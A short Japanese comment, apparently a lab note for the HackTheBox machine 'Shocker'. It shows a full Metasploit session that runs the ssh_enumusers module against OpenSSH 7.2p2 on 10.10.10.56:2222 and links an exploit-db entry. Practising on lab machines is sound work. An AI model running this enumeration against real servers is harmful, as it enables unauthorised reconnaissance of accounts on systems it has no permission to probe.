roaris
commented
4 months ago OpenSSH 7.2p2はユーザ名を列挙出来るらしい https://www.exploit-db.com/exploits/40136
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/scanner/ssh/ssh_enumusers.md を見て、metasploitで試してみる
msf6 > search openssh
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/windows/manage/forward_pageant normal No Forward SSH Agent Requests To Remote Pageant
1 post/windows/manage/install_ssh normal No Install OpenSSH for Windows
2 post/multi/gather/ssh_creds normal No Multi Gather OpenSSH PKI Credentials Collection
3 auxiliary/scanner/ssh/ssh_enumusers normal No SSH Username Enumeration
4 exploit/windows/local/unquoted_service_path 2001-10-25 great Yes Windows Unquoted Service Path Privilege Escalation
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/local/unquoted_service_path
msf6 > use auxiliary/scanner/ssh/ssh_enumusers
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOST 10.10.10.56
RHOST => 10.10.10.56
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RPORT 2222
RPORT => 2222
msf6 auxiliary(scanner/ssh/ssh_enumusers) > echo "admin\nadministrator" > users
[*] exec: echo "admin\nadministrator" > users
msf6 auxiliary(scanner/ssh/ssh_enumusers) > cat users
[*] exec: cat users
admin
administrator
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set user_file users
user_file => users
msf6 auxiliary(scanner/ssh/ssh_enumusers) > exploit
[*] 10.10.10.56:2222 - SSH - Using malformed packet technique
[*] 10.10.10.56:2222 - SSH - Checking for false positives
[*] 10.10.10.56:2222 - SSH - Starting scan
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
https://app.hackthebox.com/machines/Shocker